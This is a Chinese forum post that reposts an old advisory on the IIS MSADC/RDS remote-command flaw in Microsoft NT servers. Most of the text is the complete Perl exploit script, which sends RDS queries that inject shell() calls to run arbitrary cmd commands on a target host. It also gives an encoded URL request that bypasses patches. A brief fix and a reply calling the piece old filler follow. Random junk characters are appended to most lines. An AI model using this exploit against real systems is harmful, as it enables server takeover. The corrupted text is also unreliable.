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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ECr}7R%  
HAdDr!/`  
涉及程序: V~"-\@  
Microsoft NT server }^zsN`  
tu5T^"B qO  
描述: 0^ >b=a  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Ula h!s  
*8I &|)x  
详细: 8Ao pI3  
如果你没有时间读详细内容的话,就删除: W|AK"vf  
c:\Program Files\Common Files\System\Msadc\msadcs.dll GVld]ioycG  
有关的安全问题就没有了。 agp7zw=N  
EdC/]  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 tM3Q;8gB!  
a?8boN(  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 5 =Op%  
关于利用ODBC远程漏洞的描述,请参看: 5LJ0V  
qcGsx2  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm  r74' _y  
B*AB@  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 hK 1 H'~c  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp !YENJJ  
n'qWS/0U=  
这里不再论述。 -xL^UcG0  
|wGmu&fY  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: .njk^,N  
FG)(,?q  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 0N`N  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! FqXE6^  
W=\45BJ  
T$*#q('1"}  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 0t2n7Y?N  
^50\c$  
#!perl AS/z1M_U  
# g<g$c<sm  
# MSADC/RDS 'usage' (aka exploit) script =+w!fy  
# (Q}ByX  
# by rain.forest.puppy usR+ZQaA  
# c;.jo?RR2  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 4n6t(/]b<  
# beta test and find errors! ,C0D|q4/!.  
2U@:.S'K  
use Socket; use Getopt::Std; =hi{J M  
getopts("e:vd:h:XR", \%args); qijQRxS  
,Rdw]O  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; !24PJ\~I  
/Csk"IfuO  
if (!defined $args{h} && !defined $args{R}) { S9%ZeM +  
print qq~ @K1'Q!S *  
Usage: msadc.pl -h <host> { -d <delay> -X -v } PC3?eS}  
-h <host> = host you want to scan (ip or domain) 6 l7iX]  
-d <seconds> = delay between calls, default 1 second ]\ t20R{z  
-X = dump Index Server path table, if available *=X61`0  
-v = verbose 1'f&  
-e = external dictionary file for step 5  xq&r|el  
1 RVs!;  
Or a -R will resume a command session d'@i8N["{  
00/ RBs 5  
~; exit;} Q$b4\n?44  
$V,ZH* g  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; m,V"S(A  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Q%x-BZb~  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} `PZcL2~E  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 6k`O  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} [C{oj*"c]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 3L:SJskYR  
mwO9`AU;  
if (!defined $args{R}){ $ret = &has_msadc; ujS C  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} w_#C8}2  
){*9$486  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" epgAfx-_OH  
. "cmd /c "; T'!p{Fbg;  
$in=<STDIN>; chomp $in; HutQx  
$command="cmd /c " . $in ; 4Q:r83#  
sGG q~7  
if (defined $args{R}) {&load; exit;} Cs2kbG_  
lf#5X)V  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; = OzpI  
&try_btcustmr; r6vI6|1  
$bl<mG%#9  
print "\nStep 2: Trying to make our own DSN..."; IO7cRg'-F  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; lC@wCgc  
`*3;sq%`  
print "\nStep 3: Trying known DSNs..."; OV|n/~  
&known_dsn; s*R UYx  
XbIxGL  
print "\nStep 4: Trying known .mdbs..."; `6<Qb=  
&known_mdb; <Vl`EfA(  
<l5s[  
if (defined $args{e}){ )M* Sg?L  
print "\nStep 5: Trying dictionary of DSN names..."; %xA-j]%?ep  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } %k @4}M>  
$}B&u)  
print "Sorry Charley...maybe next time?\n"; 7()5\ae@q'  
exit; C5Mpm)-%  
#j'7\SV  
############################################################################## l ;S_J^S  
)j!%`g  
sub sendraw { # ripped and modded from whisker Cz6bD$5  
sleep($delay); # it's a DoS on the server! At least on mine... .>1vN+  
my ($pstr)=@_; ? (M$r\\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || baGV]=j  
die("Socket problems\n"); `jec|i@oO  
if(connect(S,pack "SnA4x8",2,80,$target)){ u)vS,dzu  
select(S); $|=1; IZuP{7p$  
print $pstr; my @in=<S>; +I+RNXR/{  
select(STDOUT); close(S); }U?:al/m  
return @in; o1thGttVDg  
} else { die("Can't connect...\n"); }} [9yd29pQ]  
]e$n;tuW  
############################################################################## 9<.8mW^68  
?}HZJ@:lB  
sub make_header { # make the HTTP request G "ixw  
my $msadc=<<EOT #'. '|z  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ZB]234`0  
User-Agent: ACTIVEDATA NR"C@3kD]o  
Host: $ip xVTl  
Content-Length: $clen EAHdt=8W{  
Connection: Keep-Alive OZ/"W)  
H(kxRPH4@]  
ADCClientVersion:01.06 =.l>Uw!  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 mR~S$6cc  
DABV}@K"  
--!ADM!ROX!YOUR!WORLD! }\1V%c  
Content-Type: application/x-varg xeKm} MN]S  
Content-Length: $reqlen |@VhR(^O$  
3xgU=@!;  
EOT xl Q]"sm1  
; $msadc=~s/\n/\r\n/g; !&5|:96o  
return $msadc;} *VaQ\]:d  
Gn4XVzB`O  
############################################################################## b>]UNf"-  
r@PVSH/  
sub make_req { # make the RDS request ?;A\>sP  
my ($switch, $p1, $p2)=@_; GK1P7Qy?V  
my $req=""; my $t1, $t2, $query, $dsn; =i6k[rg  
OS1f}<  
if ($switch==1){ # this is the btcustmr.mdb query _-2;!L#/  
$query="Select * from Customers where City=" . make_shell(); pcQgWjfS  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . NTSIClm}U  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} qcge#S>  
>8&fFq  
elsif ($switch==2){ # this is general make table query N*\r i0  
$query="create table AZZ (B int, C varchar(10))"; l;@bs  
$dsn="$p1";} kx;7/fH  
Q_dMuoI  
elsif ($switch==3){ # this is general exploit table query HkY#i;%N  
$query="select * from AZZ where C=" . make_shell(); i-. AD4  
$dsn="$p1";} 2b Fr8FUt-  
VxE;tJ>1  
elsif ($switch==4){ # attempt to hork file info from index server , eSpt#M  
$query="select path from scope()"; 7jGfQ  
$dsn="Provider=MSIDXS;";} 0}po74x*r  
v^ v \6uEP  
elsif ($switch==5){ # bad query At !@Rc  
$query="select"; ) )t]5Ys%;  
$dsn="$p1";} %'VzN3Q5V  
J&B5Ll  
$t1= make_unicode($query); &Lbwx&!0b  
$t2= make_unicode($dsn); ?!.J 0q  
$req = "\x02\x00\x03\x00"; bdEI vf7  
$req.= "\x08\x00" . pack ("S1", length($t1)); lqa~ZF*  
$req.= "\x00\x00" . $t1 ; yqR]9 "a  
$req.= "\x08\x00" . pack ("S1", length($t2)); mQ9shdvt-  
$req.= "\x00\x00" . $t2 ; 'T7Y5X80$j  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; UID`3X  
return $req;} bfYVA2=Z  
d. ZfK  
############################################################################## L-zU%`1{M  
7Sh1QDYZ  
sub make_shell { # this makes the shell() statement tKds|0,j|  
return "'|shell(\"$command\")|'";} CWJN{  
f{u S  
############################################################################## ;f=.SJF  
GL,[32~C  
sub make_unicode { # quick little function to convert to unicode e [6F }."c  
my ($in)=@_; my $out; Ggy?5N7P  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } N^AlhR^  
return $out;} Spn)M79  
/1uGsE+[  
############################################################################## h iK}&  
P@% L.y B  
sub rdo_success { # checks for RDO return success (this is kludge) jy_4W!4a  
my (@in) = @_; my $base=content_start(@in); C0 /G1\  
if($in[$base]=~/multipart\/mixed/){ ='@ k>Ka+  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} rq1zvuUx  
return 0;} Z?WVSJUVf  
s(e1kk}"  
############################################################################## p*Yx1er1  
4n1 g@A=y  
sub make_dsn { # this makes a DSN for us t;u)_C,bmP  
my @drives=("c","d","e","f"); N8=-=]0G  
print "\nMaking DSN: "; aOQT-C[ O  
foreach $drive (@drives) { keStK8  
print "$drive: "; f1?%p)C  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . wA6E7vi'  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" qE VpkvEq  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); =NSunW!  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; d(Hqj#`-31  
return 0 if $2 eq "404"; # not found/doesn't exist 0fK#:6  
if($2 eq "200") { (:h&c6'S)b  
foreach $line (@results) { R<%{I)  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} m=Mk@xfQ#  
} return 0;} }*O8]lG  
if3z Fh  
############################################################################## B\l0kiNT  
q(4Ny<=,'K  
sub verify_exists { .u`A4;;Gw  
my ($page)=@_; U??OiKVZ+  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Ps;4]=c  
return $results[0];} N/<c;"o  
7#X`D  
############################################################################## [Z&<# -  
cr?ZXu_  
sub try_btcustmr { edZBQmx+#  
my @drives=("c","d","e","f"); %(H' j@D[  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^NM>x Ienf  
F+j"bhe  
foreach $dir (@dirs) { &JD^\+7U:  
print "$dir -> "; # fun status so you can see progress V|*3*W  
foreach $drive (@drives) { s OLjT34  
print "$drive: "; # ditto 25r3[gX9`  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; J3B+WD]  
$reqlenlen=length( "$reqlen" ); *)oBE{6D  
$clen= 206 + $reqlenlen + $reqlen; `B,R+==G:  
sGpAaGY>  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); fzAkUvo  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} G>jC+0nkry  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} q'IMt7}  
JSaF7(a =  
############################################################################## tV4wkS=R|  
=h+-1zp{M^  
sub odbc_error { =kzHZc  
my (@in)=@_; my $base; U-U(_W5&  
my $base = content_start(@in); kf#S"[/E  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this NzN"_ojM  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Zv?"1Y< L  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; y{~tMpo<  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I|;C} lfp  
return $in[$base+4].$in[$base+5].$in[$base+6];} W7{^/s5r  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; B|{E[]iK  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . VW;E14  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} M a3}w-=;  
H6Gs&yk3  
############################################################################## h##U=`x3  
i [Wxu M  
sub verbose { {XD':2E  
my ($in)=@_; D=Yr/qc?  
return if !$verbose; rV?@Kgxi  
print STDOUT "\n$in\n";} C)UU/4a;  
0kw)-)=  
############################################################################## (m=1yj9  
Eb CK9  
sub save { A"R(?rQi=  
my ($p1, $p2, $p3, $p4)=@_; g1]bI$;  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; P\QbMj1U  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; %;<g!Vw.k  
close OUT;} L|;sB=$'{  
ZF8`= D`:R  
############################################################################## FPPl^  
rEbH< |  
sub load { .' h^  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; oiD{Z  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ub+XgNO  
@p=<IN>; close(IN); G|||.B 8  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); (uC@cVk P  
$target= inet_aton($ip) || die("inet_aton problems"); 'Z%1Ly^b  
print "Resuming to $ip ..."; ->7zVAX  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; @xBO[v  
if($p[1]==1) { yL -}E  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; O`aNNy  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; \MPbG$ ^  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); m'k>U4  
if (rdo_success(@results)){print "Success!\n";} uyWw3>  
else { print "failed\n"; verbose(odbc_error(@results));}} oMOh4NH,x  
elsif ($p[1]==3){ /}iBrMD{[  
if(run_query("$p[3]")){ fr$6&HDZ9  
print "Success!\n";} else { print "failed\n"; }} ;vbM C74J#  
elsif ($p[1]==4){ {>XoE %  
if(run_query($drvst . "$p[3]")){ 6Ypc]ym=J  
print "Success!\n"; } else { print "failed\n"; }} ] ;CJ6gM~  
exit;} <Z\{ijfvD  
2vb qz  
############################################################################## MD3iWgM  
^&$86-PB/  
sub create_table { Tks"GlE*D  
my ($in)=@_; '$J M2 u  
$reqlen=length( make_req(2,$in,"") ) - 28; {) sE;p-  
$reqlenlen=length( "$reqlen" ); hTcU %Nc  
$clen= 206 + $reqlenlen + $reqlen; 7r.~L  
my @results=sendraw(make_header() . make_req(2,$in,"")); 4I|pkdF_  
return 1 if rdo_success(@results); DF gM7if  
my $temp= odbc_error(@results); verbose($temp); 8U4In[4  
return 1 if $temp=~/Table 'AZZ' already exists/; ~[~#PO  
return 0;} Pv3G?u=4  
#\ysn|!J,  
############################################################################## 4^d).{&X  
c++q5bg@)  
sub known_dsn { JZE@W -2  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go j%J>LeTca  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ;18u02z^  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", /Ei e5p  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); |2rOV&@l9  
'C#[iRG4  
foreach $dSn (@dsns) { k2PK4Ua_}q  
print "."; Z)@[N 6\?  
next if (!is_access("DSN=$dSn")); >ffC?5+  
if(create_table("DSN=$dSn")){ 9]1LwX!M2  
print "$dSn successful\n"; * X}2  
if(run_query("DSN=$dSn")){ s#")hMJQ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { D(&WEmm\B  
print "Something's borked. Use verbose next time\n";}}} print "\n";} F~bDg tN3  
Kc#1H|'2N  
############################################################################## `R-?+76?  
b*{UO  
sub is_access { $j v"$0Fc  
my ($in)=@_; %Nob B  
$reqlen=length( make_req(5,$in,"") ) - 28; WN#2<XjG  
$reqlenlen=length( "$reqlen" ); ya,-Lt  
$clen= 206 + $reqlenlen + $reqlen; h^''ue"  
my @results=sendraw(make_header() . make_req(5,$in,"")); W )Ps2  
my $temp= odbc_error(@results); i&DUlmt)f  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); J+N -+,,  
return 0;} N|ZGc{?  
?8U]UM6Tu4  
############################################################################## bw+IH-b  
"pH;0[r]  
sub run_query { ?1] \3nj  
my ($in)=@_; U}5]Vm$]  
$reqlen=length( make_req(3,$in,"") ) - 28; D0TFC3.k}  
$reqlenlen=length( "$reqlen" ); dxtG3  
$clen= 206 + $reqlenlen + $reqlen; _ sy]k A  
my @results=sendraw(make_header() . make_req(3,$in,"")); up0=Y o@  
return 1 if rdo_success(@results); >g@@ yR,  
my $temp= odbc_error(@results); verbose($temp); 8s-X H  
return 0;} `0!%jz=  
4T v=sP  
############################################################################## rq}xuSFI  
gkKNOus  
sub known_mdb { BW`;QF<  
my @drives=("c","d","e","f","g"); U)Tl<l<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); { 9\/aXPS  
my $dir, $drive, $mdb; 2t45/:,  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^uVPN1}b^@  
b^P\Q s*m  
# this is sparse, because I don't know of many lIO#)>  
my @sysmdbs=( "\\catroot\\icatalog.mdb", LX=v _}l J  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", s~ o\j/  
"\\system32\\certmdb.mdb", 9|OOT[  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% nQa:t. rC  
YIb7y1\UM  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ?|!m  
"\\cfusion\\cfapps\\forums\\forums_.mdb", JRj{Q 1J  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", :hR^?{9Z4>  
"\\cfusion\\cfapps\\security\\realm_.mdb", NX:\iJD)1U  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", JLjs`oq h  
"\\cfusion\\database\\cfexamples.mdb", }_@p`>|)rB  
"\\cfusion\\database\\cfsnippets.mdb", -9o7a_Z  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", +RkXe;q  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", K,*-Y)v2W  
"\\cfusion\\brighttiger\\database\\cleam.mdb", -7%dgY(  
"\\cfusion\\database\\smpolicy.mdb", R|Uu  
"\\cfusion\\database\cypress.mdb", r)Ml-r =  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", _u6MSRX[6$  
"\\website\\cgi-win\\dbsample.mdb", iU3PlF[B/o  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 141xi;o  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" bUSa#pNO>  
); #these are just W{j(=<|<  
foreach $drive (@drives) { N%e^2O)  
foreach $dir (@dirs){ ]&P 4QT)f  
foreach $mdb (@sysmdbs) { *Ue#Sade  
print "."; 2:e7'}\D.  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ VRSBf;?  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; *m`x/_y+  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ M 8(w+h{  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Dqd2e&a\  
} else { print "Something's borked. Use verbose next time\n"; }}}}} \0&$ n  
Q]VG6x  
foreach $drive (@drives) { ltNY8xrdGN  
foreach $mdb (@mdbs) { Z,M2vRj"qT  
print "."; :/t_5QN  
if(create_table($drv . $drive . $dir . $mdb)){ 8|5+\1!#/)  
print "\n" . $drive . $dir . $mdb . " successful\n"; U:[CcN/~3  
if(run_query($drv . $drive . $dir . $mdb)){ 9JJ6$cLF  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; s%6L94\t  
} else { print "Something's borked. Use verbose next time\n"; }}}} 8+32hg@^F  
} we@*;k@_  
U!JmSP  
############################################################################## Xf mN/j2  
:lmimAMt  
sub hork_idx { ?@MWV   
print "\nAttempting to dump Index Server tables...\n"; &!HG.7AY  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 6q `Un}  
$reqlen=length( make_req(4,"","") ) - 28; ,6"[vb#*3  
$reqlenlen=length( "$reqlen" ); $Q,]2/o6n  
$clen= 206 + $reqlenlen + $reqlen; ;M\Cw.%![  
my @results=sendraw2(make_header() . make_req(4,"","")); 5Kk}sxol  
if (rdo_success(@results)){ L%-ENk  
my $max=@results; my $c; my %d; +"~*L,ken0  
for($c=19; $c<$max; $c++){ Lc "{ePFh  
$results[$c]=~s/\x00//g; ZU2D.Kf_:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; wnQi5P+  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; s*eM}d.p  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; eiRVw5g  
$d{"$1$2"}="";} WH fl|e  
foreach $c (keys %d){ print "$c\n"; } -_]Ceq/  
} else {print "Index server doesn't seem to be installed.\n"; }} 7vI ROK~  
QXEZ?gx  
############################################################################## 6wXy;!2  
yC4%z) t&R  
sub dsn_dict { frV_5yK'  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); w=0zVh_`(  
while(<IN>){ niYD[Ra\xP  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $v"CQD  
next if (!is_access("DSN=$dSn")); wi[FBLB/8  
if(create_table("DSN=$dSn")){ <dz_7hR"  
print "$dSn successful\n"; Mi F( &#  
if(run_query("DSN=$dSn")){ 'A1y~x#2B  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { x`'s  
print "Something's borked. Use verbose next time\n";}}} v3kT~uv  
print "\n"; close(IN);} 47A[-&y*X  
7;?7q  
############################################################################## f3:dn7  
RK)ikLgp  
sub sendraw2 { # ripped and modded from whisker |I|,6*)xg  
sleep($delay); # it's a DoS on the server! At least on mine... KxfH6:\RB  
my ($pstr)=@_; 9C5F#(uY  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^W^Y"0y9`  
die("Socket problems\n"); 0G+ qF96  
if(connect(S,pack "SnA4x8",2,80,$target)){ qP=a:R-  
print "Connected. Getting data"; t$R0UprK  
open(OUT,">raw.out"); my @in; GSH,;cY  
select(S); $|=1; print $pstr; BA T.>  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} GpR,n2  
close(OUT); select(STDOUT); close(S); return @in; RtDTcaW/  
} else { die("Can't connect...\n"); }} w[EEA_\  
n-<`Z NMU  
############################################################################## T~p>Ed9  
NvpDi&i  
sub content_start { # this will take in the server headers OGq=OW  
my (@in)=@_; my $c; L[Wi[S6=)g  
for ($c=1;$c<500;$c++) { 2o W'B^-  
if($in[$c] =~/^\x0d\x0a/){ 4=& d{.E  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } <\d2)Iv  
else { return $c+1; }}} xr!A>q+@i  
return -1;} # it should never get here actually ~i>'3j0@k  
|]-~yYqP3  
############################################################################## A$;*O)  
%0f*OC  
sub funky { [RTo[-ci2  
my (@in)=@_; my $error=odbc_error(@in); V_|HzYJJ5  
if($error=~/ADO could not find the specified provider/){ (+u&b< <6N  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; U-{3HHA  
exit;} S>"C}F$X  
if($error=~/A Handler is required/){ @]EdUzzKq  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^lK!tOeO  
exit;} yC!>7@m  
if($error=~/specified Handler has denied Access/){ D?H|O[  
print "\nServer has custom handler filters (they most likely are patched)\n"; Us>  
exit;}} +|4olK$[  
4~WSIR-  
############################################################################## i9peQ61{  
+hlR  
sub has_msadc { 4(,X. GVY/  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); >F/E,U ]  
my $base=content_start(@results); F0kQ/x  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); a"k,x-EL(  
return 0;} -}8r1jQH;  
u=(.}  
######################## 4%<D\#  
u}?{1B!  
?b]f$ 2  
解决方案: ~BBh4t&  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll %fh-x(4v  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 c&`]O\D-c  
KF`mOSP  
拿出来充数 哈哈
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